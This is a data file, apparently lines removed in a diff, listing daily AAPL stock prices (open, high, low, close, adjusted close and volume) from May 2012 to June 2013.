-2012-05-29,81.55714416503906,82.0,80.7585678100586,81.75285339355469,71.13323974609375,95127200.0,AAPL
-2012-05-30,81.31428527832031,82.855712890625,80.93714141845703,82.73857116699219,71.99090576171875,132357400.0,AAPL
-2012-05-31,82.96286010742188,83.07142639160156,81.63714599609375,82.5328598022461,71.81190490722656,122918600.0,AAPL
-2012-06-01,81.3085708618164,81.80714416503906,80.07428741455078,80.14142608642578,69.73114013671875,130246900.0,AAPL
-2012-06-04,80.21428680419922,81.07142639160156,78.35713958740234,80.61285400390625,70.14132690429688,139248900.0,AAPL
-2012-06-05,80.18142700195312,80.92428588867188,79.76142883300781,80.40428924560547,69.95985412597656,97053600.0,AAPL
-2012-06-06,81.11000061035156,81.97856903076172,80.78571319580078,81.63714599609375,71.03258514404297,100363900.0,AAPL
-2012-06-07,82.47000122070312,82.47428894042969,81.5,81.67428588867188,71.06488037109375,94941700.0,AAPL
-2012-06-08,81.65714263916016,82.94000244140625,81.28571319580078,82.9028549194336,72.13384246826172,86879100.0,AAPL
-2012-06-11,83.95999908447266,84.07142639160156,81.51856994628906,81.59571075439453,70.99650573730469,147816200.0,AAPL
-2012-06-12,82.06571197509766,82.37428283691406,80.95714569091797,82.3085708618164,71.61674499511719,108845100.0,AAPL
-2012-06-13,82.07428741455078,82.63999938964844,81.48285675048828,81.73714447021484,71.1195297241211,73395000.0,AAPL
-2012-06-14,81.605712890625,81.92857360839844,81.03713989257812,81.64714050292969,71.041259765625,86393300.0,AAPL
-2012-06-15,81.57142639160156,82.08856964111328,81.36428833007812,82.01856994628906,71.36443328857422,83813800.0,AAPL
-2012-06-18,81.56571197509766,83.98428344726562,81.48143005371094,83.68285369873047,72.81253051757812,110103000.0,AAPL
-2012-06-19,83.34285736083984,84.28571319580078,83.30000305175781,83.91571807861328,73.01514434814453,90351100.0,AAPL
-2012-06-20,84.02999877929688,84.17857360839844,82.97142791748047,83.67713928222656,72.80757904052734,89735800.0,AAPL
-2012-06-21,83.63428497314453,84.03142547607422,82.4914321899414,82.52428436279297,71.80447387695312,81587800.0,AAPL
-2012-06-22,82.72000122070312,83.16999816894531,82.2028579711914,83.15714263916016,72.3551025390625,71117900.0,AAPL
-2012-06-25,82.47142791748047,82.82857513427734,81.48143005371094,81.53857421875,70.94678497314453,76095600.0,AAPL
-2012-06-26,81.61856842041016,82.06999969482422,81.0471420288086,81.71857452392578,71.10340118408203,69134100.0,AAPL
-2012-06-27,82.14286041259766,82.39142608642578,81.7028579711914,82.07142639160156,71.4104232788086,50749300.0,AAPL
-2012-06-28,81.66714477539062,82.0,80.80142974853516,81.29285430908203,70.73297882080078,70709100.0,AAPL
-2012-06-29,82.57142639160156,83.42857360839844,82.03571319580078,83.42857360839844,72.5912857055664,105375200.0,AAPL
-2012-07-02,83.5328598022461,84.78142547607422,83.37142944335938,84.64571380615234,73.65032196044922,100023000.0,AAPL
-2012-07-03,84.98285675048828,85.71428680419922,84.85713958740234,85.62999725341797,74.50675201416016,60428200.0,AAPL
-2012-07-05,85.7942886352539,87.76285552978516,85.6642837524414,87.13428497314453,75.81562042236328,121095800.0,AAPL
-2012-07-06,86.72714233398438,86.91999816894531,85.94000244140625,86.55428314208984,75.31096649169922,104732600.0,AAPL
-2012-07-09,86.47142791748047,87.69999694824219,86.30142974853516,87.69857025146484,76.3066177368164,94851400.0,AAPL
-2012-07-10,88.28142547607422,88.5528564453125,86.47285461425781,86.88714599609375,75.6005859375,127989400.0,AAPL
-2012-07-11,86.58856964111328,86.8085708618164,85.31714630126953,86.3471450805664,75.13072967529297,117330500.0,AAPL
-2012-07-12,85.74857330322266,86.20999908447266,84.66857147216797,85.55714416503906,74.4433364868164,107010400.0,AAPL
-2012-07-13,86.13571166992188,86.7414321899414,85.71428680419922,86.42428588867188,75.19786071777344,77856800.0,AAPL
-2012-07-16,86.44571685791016,87.37428283691406,86.43142700195312,86.70143127441406,75.43900299072266,75315100.0,AAPL
-2012-07-17,87.2557144165039,87.35713958740234,86.1642837524414,86.7057113647461,75.44273376464844,73406200.0,AAPL
-2012-07-18,86.65571594238281,86.90571594238281,86.22285461425781,86.60857391357422,75.35821533203125,63175000.0,AAPL
-2012-07-19,87.32571411132812,87.90714263916016,86.57142639160156,87.76000213623047,76.36006164550781,109215400.0,AAPL
-2012-07-20,87.57571411132812,87.77714538574219,86.24285888671875,86.32857513427734,75.1146011352539,99367800.0,AAPL
-2012-07-23,84.9142837524414,86.55714416503906,83.95857238769531,86.26142883300781,75.05614471435547,121993900.0,AAPL
-2012-07-24,86.76856994628906,87.0971450805664,85.50142669677734,85.84571075439453,74.6944580078125,141283100.0,AAPL
-2012-07-25,82.06571197509766,82.97142791748047,81.42857360839844,82.1385726928711,71.4688491821289,219328200.0,AAPL
-2012-07-26,82.82286071777344,82.9142837524414,81.4800033569336,82.12571716308594,71.45765686035156,101658200.0,AAPL
-2012-07-27,82.144287109375,83.69000244140625,81.65571594238281,83.59428405761719,72.73545837402344,100984100.0,AAPL
-2012-07-30,84.41714477539062,85.63428497314453,83.97428894042969,85.00428771972656,73.96231079101562,94785600.0,AAPL
-2012-07-31,86.17571258544922,87.38571166992188,86.10285949707031,87.25142669677734,75.91754913330078,115581900.0,AAPL
-2012-08-01,87.98714447021484,88.05714416503906,86.14286041259766,86.68714141845703,75.42655181884766,96125400.0,AAPL
-2012-08-02,86.12000274658203,87.2414321899414,85.75,86.82714080810547,75.5483627319336,83039600.0,AAPL
-2012-08-03,87.66143035888672,88.2828598022461,87.36571502685547,87.95714569091797,76.53160095214844,86230200.0,AAPL
-2012-08-06,88.18428802490234,89.26714324951172,87.894287109375,88.93571472167969,77.38304901123047,75525800.0,AAPL
-2012-08-07,88.9671401977539,89.28571319580078,88.29142761230469,88.70143127441406,77.17919921875,72611700.0,AAPL
-2012-08-08,88.48428344726562,89.12571716308594,88.15714263916016,88.55142974853516,77.04867553710938,61176500.0,AAPL
-2012-08-09,88.2642822265625,88.81857299804688,88.25714111328125,88.67571258544922,77.48809814453125,55410600.0,AAPL
-2012-08-10,88.38714599609375,88.82286071777344,88.38571166992188,88.81428527832031,77.60918426513672,48734700.0,AAPL
-2012-08-13,89.05571746826172,90.0,89.03571319580078,90.0,78.64530181884766,69708100.0,AAPL
-2012-08-14,90.26714324951172,91.2300033569336,90.02999877929688,90.2414321899414,78.85626983642578,85042300.0,AAPL
-2012-08-15,90.18571472167969,90.57142639160156,89.67857360839844,90.11856842041016,78.7489013671875,64335600.0,AAPL
-2012-08-16,90.17285919189453,90.96571350097656,90.07142639160156,90.90571594238281,79.43675231933594,63633500.0,AAPL
-2012-08-17,91.42857360839844,92.59857177734375,91.2585678100586,92.58714294433594,80.90604400634766,110690300.0,AAPL
-2012-08-20,92.85857391357422,95.02143096923828,92.84285736083984,95.02143096923828,83.033203125,153346200.0,AAPL
-2012-08-21,95.83142852783203,96.41143035888672,92.90428924560547,93.72285461425781,81.89848327636719,203179900.0,AAPL
-2012-08-22,93.48857116699219,95.57142639160156,92.58714294433594,95.5528564453125,83.49757385253906,141330700.0,AAPL
-2012-08-23,95.1585693359375,95.69999694824219,94.44999694824219,94.66143035888672,82.71863555908203,105032200.0,AAPL
-2012-08-24,94.21571350097656,95.63999938964844,93.6500015258789,94.74571228027344,82.79230499267578,109335100.0,AAPL
-2012-08-27,97.14142608642578,97.26714324951172,96.22000122070312,96.52571105957031,84.34771728515625,106752100.0,AAPL
-2012-08-28,96.42571258544922,96.5857162475586,95.80999755859375,96.4000015258789,84.23787689208984,66854200.0,AAPL
-2012-08-29,96.46428680419922,96.80999755859375,96.0857162475586,96.20999908447266,84.07181549072266,50701700.0,AAPL
-2012-08-30,95.80571746826172,95.93571472167969,94.69285583496094,94.83856964111328,82.8734359741211,75674900.0,AAPL
-2012-08-31,95.32142639160156,95.5142822265625,93.89286041259766,95.03428649902344,83.04446411132812,84580300.0,AAPL
-2012-09-04,95.10857391357422,96.44857025146484,94.92857360839844,96.42428588867188,84.25909423828125,91973000.0,AAPL
-2012-09-05,96.51000213623047,96.62142944335938,95.65714263916016,95.74714660644531,83.66736602783203,84093800.0,AAPL
-2012-09-06,96.16714477539062,96.89857482910156,95.82857513427734,96.61000061035156,84.42139434814453,97799100.0,AAPL
-2012-09-07,96.86428833007812,97.49714660644531,96.53857421875,97.2057113647461,84.94194030761719,82416600.0,AAPL
-2012-09-10,97.20714569091797,97.61285400390625,94.5857162475586,94.67713928222656,82.73236083984375,121999500.0,AAPL
-2012-09-11,95.01571655273438,95.72856903076172,93.78571319580078,94.37000274658203,82.4639663696289,125995800.0,AAPL
-2012-09-12,95.2642822265625,95.69999694824219,93.71428680419922,95.68428802490234,83.61245727539062,178058300.0,AAPL
-2012-09-13,96.76714324951172,97.92857360839844,96.39571380615234,97.56857299804688,85.25900268554688,149590000.0,AAPL
-2012-09-14,98.56571197509766,99.56857299804688,98.2699966430664,98.75428771972656,86.29512786865234,150118500.0,AAPL
-2012-09-17,99.90714263916016,99.97142791748047,99.2300033569336,99.96857452392578,87.35620880126953,99507800.0,AAPL
-2012-09-18,99.98285675048828,100.33285522460938,99.48857116699219,100.27285766601562,87.62210845947266,93375800.0,AAPL
-2012-09-19,100.03713989257812,100.56999969482422,99.93856811523438,100.30000305175781,87.64581298828125,81718700.0,AAPL
-2012-09-20,99.87999725341797,100.0085678100586,99.08856964111328,99.81428527832031,87.22139739990234,84142100.0,AAPL
-2012-09-21,100.34428405761719,100.72428894042969,99.9085693359375,100.01285552978516,87.3949203491211,142897300.0,AAPL
-2012-09-24,98.12285614013672,99.3028564453125,97.57142639160156,98.68428802490234,86.23395538330078,159941600.0,AAPL
-2012-09-25,98.32286071777344,98.96857452392578,96.14286041259766,96.22000122070312,84.08058166503906,129697400.0,AAPL
-2012-09-26,95.53428649902344,96.09857177734375,94.45714569091797,95.02571105957031,83.03694915771484,144125800.0,AAPL
-2012-09-27,94.89857482910156,97.4528579711914,94.3357162475586,97.33142852783203,85.05178833007812,148522500.0,AAPL
-2012-09-28,96.96428680419922,97.30142974853516,95.25,95.30000305175781,83.2766342163086,133777700.0,AAPL
-2012-10-01,95.87999725341797,96.67857360839844,93.78571319580078,94.19857025146484,82.31417846679688,135898700.0,AAPL
-2012-10-02,94.5442886352539,95.19285583496094,92.94999694824219,94.47285461425781,82.5538558959961,156998100.0,AAPL
-2012-10-03,94.9800033569336,95.9800033569336,94.66143035888672,95.92142486572266,83.81967163085938,106070300.0,AAPL
-2012-10-04,95.89286041259766,96.32142639160156,95.07857513427734,95.25714111328125,83.23917388916016,92681400.0,AAPL
-2012-10-05,95.02857208251953,95.14286041259766,93.04000091552734,93.22714233398438,81.46528625488281,148501500.0,AAPL
-2012-10-08,92.41143035888672,92.5085678100586,90.87285614013672,91.16714477539062,79.6651840209961,159498500.0,AAPL
-2012-10-09,91.2357177734375,91.49857330322266,89.07857513427734,90.8357162475586,79.37557983398438,209649300.0,AAPL
-2012-10-10,91.39142608642578,92.13999938964844,91.0,91.5585708618164,80.00724792480469,127589000.0,AAPL
-2012-10-11,92.35713958740234,92.45714569091797,89.72856903076172,89.72856903076172,78.40812683105469,136520300.0,AAPL
-2012-10-12,89.93714141845703,90.76856994628906,89.32857513427734,89.95857238769531,78.60910034179688,115003700.0,AAPL
-2012-10-15,90.3357162475586,90.73285675048828,89.12142944335938,90.68000030517578,79.2395248413086,108125500.0,AAPL
-2012-10-16,90.76714324951172,92.9000015258789,90.14286041259766,92.82714080810547,81.11576080322266,137442900.0,AAPL
-2012-10-17,92.69571685791016,93.2557144165039,92.0,92.08714294433594,80.46910858154297,97259400.0,AAPL
-2012-10-18,91.37000274658203,91.72285461425781,90.0,90.37714385986328,78.97484588623047,119156100.0,AAPL
-2012-10-19,90.1500015258789,90.25285339355469,87.08856964111328,87.12000274658203,76.12865447998047,186021500.0,AAPL
-2012-10-22,87.48857116699219,90.76856994628906,87.25142669677734,90.57571411132812,79.14838409423828,136682700.0,AAPL
-2012-10-23,90.14286041259766,90.55714416503906,87.38571166992188,87.62285614013672,76.56806182861328,176786400.0,AAPL
-2012-10-24,88.77714538574219,89.50714111328125,87.23428344726562,88.11856842041016,77.0012435913086,139631800.0,AAPL
-2012-10-25,88.57142639160156,88.85713958740234,86.50714111328125,87.07714080810547,76.0912094116211,164081400.0,AAPL
-2012-10-26,87.06143188476562,87.71428680419922,84.42857360839844,86.28571319580078,75.39962005615234,254608200.0,AAPL
-2012-10-31,84.98285675048828,85.9942855834961,83.95714569091797,85.04571533203125,74.31607055664062,127500800.0,AAPL
-2012-11-01,85.45999908447266,86.14286041259766,84.88143157958984,85.22000122070312,74.4683837890625,90324500.0,AAPL
-2012-11-02,85.12714385986328,85.27857208251953,82.10713958740234,82.4000015258789,72.00411987304688,149843400.0,AAPL
-2012-11-05,83.36000061035156,83.9671401977539,82.5142822265625,83.51714324951172,72.98035430908203,132283900.0,AAPL
-2012-11-06,84.31857299804688,84.39142608642578,82.87000274658203,83.2642822265625,72.75940704345703,93729300.0,AAPL
-2012-11-07,81.97714233398438,82.07714080810547,79.39286041259766,79.71428680419922,69.9754409790039,198412200.0,AAPL
-2012-11-08,80.08999633789062,80.31857299804688,76.47000122070312,76.82142639160156,67.43595886230469,264036500.0,AAPL
-2012-11-09,77.2028579711914,79.26856994628906,76.24571228027344,78.15142822265625,68.60350036621094,232478400.0,AAPL
-2012-11-12,79.1642837524414,79.21428680419922,76.94999694824219,77.5471420288086,68.07304382324219,128950500.0,AAPL
-2012-11-13,76.98714447021484,78.63999938964844,76.62285614013672,77.55714416503906,68.0818099975586,133237300.0,AAPL
-2012-11-14,77.92857360839844,78.20714569091797,76.5971450805664,76.6971435546875,67.32688903808594,119292600.0,AAPL
-2012-11-15,76.79000091552734,77.07142639160156,74.66000366210938,75.08856964111328,65.91483306884766,197477700.0,AAPL
-2012-11-16,75.02857208251953,75.71428680419922,72.25,75.38285827636719,66.17314910888672,316723400.0,AAPL
-2012-11-19,77.2442855834961,81.07142639160156,77.12571716308594,80.81857299804688,70.9448013305664,205829400.0,AAPL
-2012-11-20,81.70143127441406,81.70714569091797,79.22571563720703,80.12999725341797,70.3403549194336,160688500.0,AAPL
-2012-11-21,80.60713958740234,81.0528564453125,79.5142822265625,80.24285888671875,70.43941497802734,93250500.0,AAPL
-2012-11-23,81.02428436279297,81.71428680419922,80.37142944335938,81.64286041259766,71.66840362548828,68206600.0,AAPL
-2012-11-26,82.27143096923828,84.28571319580078,81.95857238769531,84.21857452392578,73.92939758300781,157644900.0,AAPL
-2012-11-27,84.22142791748047,84.34571075439453,82.87142944335938,83.54000091552734,73.333740234375,133332500.0,AAPL
-2012-11-28,82.4671401977539,83.68571472167969,81.75142669677734,83.27714538574219,73.1030044555664,130216100.0,AAPL
-2012-11-29,84.31714630126953,84.89286041259766,83.60713958740234,84.19428253173828,73.9080810546875,128674700.0,AAPL
-2012-11-30,83.82714080810547,84.05714416503906,83.23999786376953,83.6114273071289,73.39643859863281,97829900.0,AAPL
-2012-12-03,84.80714416503906,84.9414291381836,83.64286041259766,83.7414321899414,73.51056671142578,91070000.0,AAPL
-2012-12-04,83.11428833007812,83.11428833007812,81.73285675048828,82.2642822265625,72.21388244628906,139267100.0,AAPL
-2012-12-05,81.27285766601562,81.32142639160156,76.9671401977539,76.97000122070312,67.56639862060547,261159500.0,AAPL
-2012-12-06,75.56285858154297,79.0442886352539,74.08999633789062,78.17713928222656,68.6260757446289,294303100.0,AAPL
-2012-12-07,79.05714416503906,79.31428527832031,75.71428680419922,76.17857360839844,66.87166595458984,196760200.0,AAPL
-2012-12-10,75.0,76.93000030517578,74.51142883300781,75.68856811523438,66.4415283203125,157621100.0,AAPL
-2012-12-11,77.11000061035156,78.5085678100586,76.76714324951172,77.3414306640625,67.89246368408203,148086400.0,AAPL
-2012-12-12,78.25285339355469,78.28571319580078,76.61000061035156,77.0,67.59275817871094,121786000.0,AAPL
-2012-12-13,75.87857055664062,76.80571746826172,75.11428833007812,75.66999816894531,66.42520141601562,156314900.0,AAPL
-2012-12-14,73.53571319580078,74.01856994628906,72.22571563720703,72.82714080810547,63.92967987060547,252394800.0,AAPL
-2012-12-17,72.70428466796875,74.28571319580078,71.60428619384766,74.11856842041016,65.06333923339844,189401800.0,AAPL
-2012-12-18,75.0,76.4142837524414,74.32142639160156,76.27143096923828,66.95317077636719,156421300.0,AAPL
-2012-12-19,75.92428588867188,76.24285888671875,75.07142639160156,75.18714141845703,66.0013656616211,112342300.0,AAPL
-2012-12-20,75.71428680419922,75.74285888671875,74.12571716308594,74.5328598022461,65.42699432373047,120422400.0,AAPL
-2012-12-21,73.20999908447266,74.23857116699219,72.89142608642578,74.19000244140625,65.12604522705078,149067100.0,AAPL
-2012-12-24,74.3357162475586,74.89286041259766,74.10142517089844,74.30999755859375,65.23139190673828,43938300.0,AAPL
-2012-12-26,74.14286041259766,74.20857238769531,73.01714324951172,73.28571319580078,64.33222961425781,75609100.0,AAPL
-2012-12-27,73.36285400390625,73.75,72.09428405761719,73.58000183105469,64.590576171875,113780100.0,AAPL
-2012-12-28,72.89857482910156,73.49714660644531,72.58856964111328,72.79856872558594,63.904605865478516,88569600.0,AAPL
-2012-12-31,72.93285369873047,76.4857177734375,72.71428680419922,76.02428436279297,66.7362289428711,164873100.0,AAPL
-2013-01-02,79.11714172363281,79.28571319580078,77.37571716308594,78.43285369873047,68.85054779052734,140129500.0,AAPL
-2013-01-03,78.26856994628906,78.52428436279297,77.28571319580078,77.44285583496094,67.98149108886719,88241300.0,AAPL
-2013-01-04,76.70999908447266,76.9471435546875,75.11856842041016,75.28571319580078,66.087890625,148583400.0,AAPL
-2013-01-07,74.57142639160156,75.61428833007812,73.5999984741211,74.84285736083984,65.69915771484375,121039100.0,AAPL
-2013-01-08,75.60142517089844,75.98428344726562,74.46428680419922,75.0442886352539,65.8759536743164,114676800.0,AAPL
-2013-01-09,74.64286041259766,75.00142669677734,73.71286010742188,73.87142944335938,64.84638977050781,101901100.0,AAPL
-2013-01-10,75.50714111328125,75.53142547607422,73.64571380615234,74.78713989257812,65.65023803710938,150286500.0,AAPL
-2013-01-11,74.42857360839844,75.04571533203125,74.14571380615234,74.32857513427734,65.2477035522461,87626700.0,AAPL
-2013-01-14,71.81143188476562,72.5,71.21571350097656,71.67857360839844,62.921451568603516,183551900.0,AAPL
-2013-01-15,71.18571472167969,71.28428649902344,69.05428314208984,69.41714477539062,60.93628692626953,219193100.0,AAPL
-2013-01-16,70.66285705566406,72.77714538574219,70.35713958740234,72.29856872558594,63.46569061279297,172701200.0,AAPL
-2013-01-17,72.90142822265625,72.96428680419922,71.71857452392578,71.81143188476562,63.03807830810547,113419600.0,AAPL
-2013-01-18,71.2171401977539,71.74571228027344,70.9142837524414,71.42857360839844,62.701995849609375,118230700.0,AAPL
-2013-01-22,72.08000183105469,72.55428314208984,70.9471435546875,72.11000061035156,63.300167083740234,115386600.0,AAPL
-2013-01-23,72.68714141845703,73.56999969482422,72.11000061035156,73.43000030517578,64.45887756347656,215377400.0,AAPL
-2013-01-24,65.71428680419922,66.5328598022461,64.32142639160156,64.35713958740234,56.49448013305664,365213100.0,AAPL
-2013-01-25,64.52714538574219,65.17571258544922,62.14285659790039,62.84000015258789,55.16270065307617,302006600.0,AAPL
-2013-01-28,62.547142028808594,64.7442855834961,62.26571273803711,64.26142883300781,56.41047286987305,196379400.0,AAPL
-2013-01-29,65.5,65.74285888671875,64.58856964111328,65.4671401977539,57.4688835144043,142789500.0,AAPL
-2013-01-30,65.28571319580078,66.0857162475586,64.92857360839844,65.26142883300781,57.288307189941406,104288800.0,AAPL
-2013-01-31,65.2828598022461,65.6114273071289,64.99714660644531,65.06999969482422,57.12026596069336,79833600.0,AAPL
-2013-02-01,65.58714294433594,65.63999938964844,64.05000305175781,64.8028564453125,56.8857536315918,134871100.0,AAPL
-2013-02-04,64.84428405761719,65.13428497314453,63.14285659790039,63.18857192993164,55.46867370605469,119279300.0,AAPL
-2013-02-05,63.43571472167969,65.67713928222656,63.174285888671875,65.40571594238281,57.41495132446289,143336900.0,AAPL
-2013-02-06,65.20999908447266,66.64286041259766,64.65428924560547,65.3357162475586,57.353515625,148426600.0,AAPL
-2013-02-07,66.17857360839844,67.14286041259766,64.87428283691406,66.8885726928711,59.05885314941406,176145200.0,AAPL
-2013-02-08,67.71428680419922,68.40142822265625,66.89286041259766,67.85428619384766,59.91151809692383,158289600.0,AAPL
-2013-02-11,68.07142639160156,69.27714538574219,67.60713958740234,68.56143188476562,60.5358772277832,129372600.0,AAPL
-2013-02-12,68.50142669677734,68.91143035888672,66.81999969482422,66.84285736083984,59.01847457885742,152263300.0,AAPL
-2013-02-13,66.7442855834961,67.66285705566406,66.17428588867188,66.71571350097656,58.90621566772461,118801900.0,AAPL
-2013-02-14,66.36000061035156,67.37714385986328,66.28857421875,66.65571594238281,58.853248596191406,88818800.0,AAPL
-2013-02-15,66.97856903076172,67.16571807861328,65.7028579711914,65.73714447021484,58.042205810546875,97936300.0,AAPL
-2013-02-19,65.87142944335938,66.10428619384766,64.8357162475586,65.71286010742188,58.0207633972168,108945900.0,AAPL
-2013-02-20,65.38428497314453,65.38428497314453,64.11428833007812,64.12142944335938,56.615623474121094,119075600.0,AAPL
-2013-02-21,63.71428680419922,64.16714477539062,63.2599983215332,63.72285842895508,56.26371383666992,111795600.0,AAPL
-2013-02-22,64.17857360839844,64.5142822265625,63.79999923706055,64.40142822265625,56.862831115722656,82663700.0,AAPL
-2013-02-25,64.8357162475586,65.01714324951172,63.22428512573242,63.25714111328125,55.852500915527344,93144800.0,AAPL
-2013-02-26,63.40285873413086,64.5057144165039,62.522857666015625,64.1385726928711,56.63075637817383,125374900.0,AAPL
-2013-02-27,64.06143188476562,64.63428497314453,62.95000076293945,63.5099983215332,56.07576370239258,146837600.0,AAPL
-2013-02-28,63.43571472167969,63.98143005371094,63.05714416503906,63.05714416503906,55.67592239379883,80628800.0,AAPL
-2013-03-01,62.57143020629883,62.59714126586914,61.42571258544922,61.4957160949707,54.297264099121094,138112100.0,AAPL
-2013-03-04,61.11428451538086,61.17142868041992,59.85714340209961,60.00714111328125,52.98292922973633,145688900.0,AAPL
-2013-03-05,60.211429595947266,62.16999816894531,60.10714340209961,61.591426849365234,54.381771087646484,159608400.0,AAPL
-2013-03-06,62.07285690307617,62.17856979370117,60.63285827636719,60.808570861816406,53.6905517578125,115062500.0,AAPL
-2013-03-07,60.64285659790039,61.71571350097656,60.15142822265625,61.51142883300781,54.311134338378906,117118400.0,AAPL
-2013-03-08,61.400001525878906,62.20428466796875,61.22999954223633,61.674285888671875,54.45492935180664,97870500.0,AAPL
-2013-03-11,61.39285659790039,62.71571350097656,60.73428726196289,62.5528564453125,55.23066329956055,118559000.0,AAPL
-2013-03-12,62.228572845458984,62.6971435546875,61.08142852783203,61.20428466796875,54.039939880371094,116477900.0,AAPL
-2013-03-13,61.2071418762207,62.07143020629883,60.76571273803711,61.19285583496094,54.029842376708984,101387300.0,AAPL
-2013-03-14,61.83285903930664,62.091426849365234,61.49285888671875,61.78571319580078,54.55331039428711,75968900.0,AAPL
-2013-03-15,62.56142807006836,63.461429595947266,62.46428680419922,63.380001068115234,55.96097946166992,160990200.0,AAPL
-2013-03-18,63.06428527832031,65.35142517089844,63.02857208251953,65.10285949707031,57.482177734375,151549300.0,AAPL
-2013-03-19,65.64286041259766,65.85285949707031,64.07142639160156,64.92713928222656,57.32700729370117,131693800.0,AAPL
-2013-03-20,65.34571075439453,65.37571716308594,64.22714233398438,64.58285522460938,57.02302932739258,77165200.0,AAPL
-2013-03-21,64.31714630126953,65.42571258544922,64.30000305175781,64.67571258544922,57.10502243041992,95813900.0,AAPL
-2013-03-22,64.94000244140625,66.0142822265625,64.7300033569336,65.98714447021484,58.2629508972168,98776300.0,AAPL
-2013-03-25,66.38428497314453,67.13571166992188,65.96857452392578,66.22571563720703,58.47357940673828,125283900.0,AAPL
-2013-03-26,66.4914321899414,66.54856872558594,65.79000091552734,65.87714385986328,58.16581726074219,73573500.0,AAPL
-2013-03-27,65.20857238769531,65.25714111328125,64.38999938964844,64.58285522460938,57.02302932739258,82809300.0,AAPL
-2013-03-28,64.26000213623047,64.54571533203125,63.08856964111328,63.237144470214844,55.834842681884766,110709900.0,AAPL
-2013-04-01,63.128570556640625,63.38571548461914,61.105712890625,61.272857666015625,54.10049819946289,97433000.0,AAPL
-2013-04-02,61.08571243286133,62.591426849365234,60.91428756713867,61.3985710144043,54.211483001708984,132379800.0,AAPL
-2013-04-03,61.62428665161133,62.468570709228516,61.47285842895508,61.71285629272461,54.488990783691406,90804000.0,AAPL
-2013-04-04,61.96571350097656,62.14285659790039,60.75,61.10285568237305,53.95038986206055,89611900.0,AAPL
-2013-04-05,60.64285659790039,60.7071418762207,59.95428466796875,60.4571418762207,53.38026428222656,95923800.0,AAPL
-2013-04-08,60.69285583496094,61.07143020629883,60.355712890625,60.887142181396484,53.75993347167969,75207300.0,AAPL
-2013-04-09,60.908573150634766,61.21428680419922,60.39285659790039,60.99714279174805,53.85704803466797,76653500.0,AAPL
-2013-04-10,61.157142639160156,62.43714141845703,60.85857009887695,62.24142837524414,54.9556884765625,93982000.0,AAPL
-2013-04-11,61.959999084472656,62.56999969482422,61.599998474121094,62.047142028808594,54.78414535522461,82091100.0,AAPL
-2013-04-12,62.021427154541016,62.021427154541016,61.2985725402832,61.400001525878906,54.21274185180664,59653300.0,AAPL
-2013-04-15,61.0,61.12714385986328,59.93571472167969,59.978572845458984,52.95771026611328,79380000.0,AAPL
-2013-04-16,60.22428512573242,60.94428634643555,60.08142852783203,60.89142990112305,53.76370620727539,76442800.0,AAPL
-2013-04-17,60.038570404052734,60.08571243286133,56.87285614013672,57.5428581237793,50.80710983276367,236264000.0,AAPL
-2013-04-18,57.855712890625,57.970001220703125,55.67714309692383,56.00714111328125,49.451168060302734,166574800.0,AAPL
-2013-04-19,55.424285888671875,57.08571243286133,55.014286041259766,55.790000915527344,49.259437561035156,152318600.0,AAPL
-2013-04-22,56.091426849365234,57.4571418762207,55.895713806152344,56.952857971191406,50.28617477416992,107480100.0,AAPL
-2013-04-23,57.71285629272461,58.34000015258789,56.97285842895508,58.01856994628906,51.22713851928711,166059600.0,AAPL
-2013-04-24,56.220001220703125,59.32143020629883,56.07143020629883,57.922855377197266,51.14262008666992,242412800.0,AAPL
-2013-04-25,58.74714279174805,59.13428497314453,58.14285659790039,58.34000015258789,51.510948181152344,96209400.0,AAPL
-2013-04-26,58.54428482055664,59.82428741455078,58.32143020629883,59.599998474121094,52.623451232910156,191024400.0,AAPL
-2013-04-29,60.06428527832031,61.94571304321289,60.0,61.44571304321289,54.253108978271484,160081600.0,AAPL
-2013-04-30,62.157142639160156,63.60714340209961,61.72428512573242,63.2542839050293,55.8499641418457,172884600.0,AAPL
-2013-05-01,63.494285583496094,63.56142807006836,62.05571365356445,62.755714416503906,55.409767150878906,126727300.0,AAPL
-2013-05-02,63.111427307128906,64.08428192138672,62.9471435546875,63.645713806152344,56.195594787597656,105457100.0,AAPL
-2013-05-03,64.47285461425781,64.74714660644531,64.1642837524414,64.2828598022461,56.758148193359375,90325200.0,AAPL
-2013-05-06,65.10142517089844,66.02857208251953,64.90142822265625,65.81571197509766,58.11157989501953,124160400.0,AAPL
-2013-05-07,66.42428588867188,66.53571319580078,64.81428527832031,65.52285766601562,57.85300827026367,120938300.0,AAPL
-2013-05-08,65.57714080810547,66.48143005371094,65.11571502685547,66.26285552978516,58.506385803222656,118149500.0,AAPL
-2013-05-09,65.68714141845703,66.14286041259766,65.08285522460938,65.25285339355469,57.99595260620117,99621900.0,AAPL
-2013-05-10,65.42428588867188,65.67285919189453,64.35428619384766,64.70999908447266,57.51347351074219,83713000.0,AAPL
-2013-05-13,64.50142669677734,65.4142837524414,64.5,64.96286010742188,57.73820877075195,79237200.0,AAPL
-2013-05-14,64.8357162475586,65.02857208251953,63.16428756713867,63.408573150634766,56.356773376464844,111779500.0,AAPL
-2013-05-15,62.737144470214844,63.0,60.33714294433594,61.264286041259766,54.45096206665039,185403400.0,AAPL
-2013-05-16,60.46285629272461,62.54999923706055,59.842857360839844,62.08285903930664,55.17850875854492,150801000.0,AAPL
-2013-05-17,62.72142791748047,62.869998931884766,61.57285690307617,61.894287109375,55.01091003417969,106976100.0,AAPL
-2013-05-20,61.7014274597168,63.68571472167969,61.44285583496094,63.27571487426758,56.23869323730469,112894600.0,AAPL
-2013-05-21,62.592857360839844,63.63999938964844,62.02857208251953,62.808570861816406,55.82350158691406,114005500.0,AAPL
-2013-05-22,63.43571472167969,64.05000305175781,62.60285568237305,63.04999923706055,56.038089752197266,110759600.0,AAPL
-2013-05-23,62.27857208251953,63.737144470214844,62.255714416503906,63.16285705566406,56.13840103149414,88255300.0,AAPL
-2013-05-24,62.978572845458984,63.665714263916016,62.908573150634766,63.592857360839844,56.52056121826172,69041700.0,AAPL
-2013-05-28,64.27143096923828,64.44428253173828,62.978572845458984,63.06285858154297,56.04951477050781,96536300.0,AAPL
-2013-05-29,62.85714340209961,63.92856979370117,62.771427154541016,63.56428527832031,56.49517059326172,82644100.0,AAPL
-2013-05-30,63.66428756713867,64.92857360839844,63.501426696777344,64.51142883300781,57.33699035644531,88379900.0,AAPL
-2013-05-31,64.64286041259766,65.30000305175781,64.21428680419922,64.24714660644531,57.10208511352539,96075700.0,AAPL
-2013-06-03,64.38999938964844,64.62285614013672,63.211429595947266,64.3885726928711,57.22779083251953,93088100.0,AAPL
-2013-06-04,64.74571228027344,64.91857147216797,63.91285705566406,64.18714141845703,57.048763275146484,73182200.0,AAPL
-2013-06-05,63.66428756713867,64.3885726928711,63.387142181396484,63.58714294433594,56.51548767089844,72647400.0,AAPL
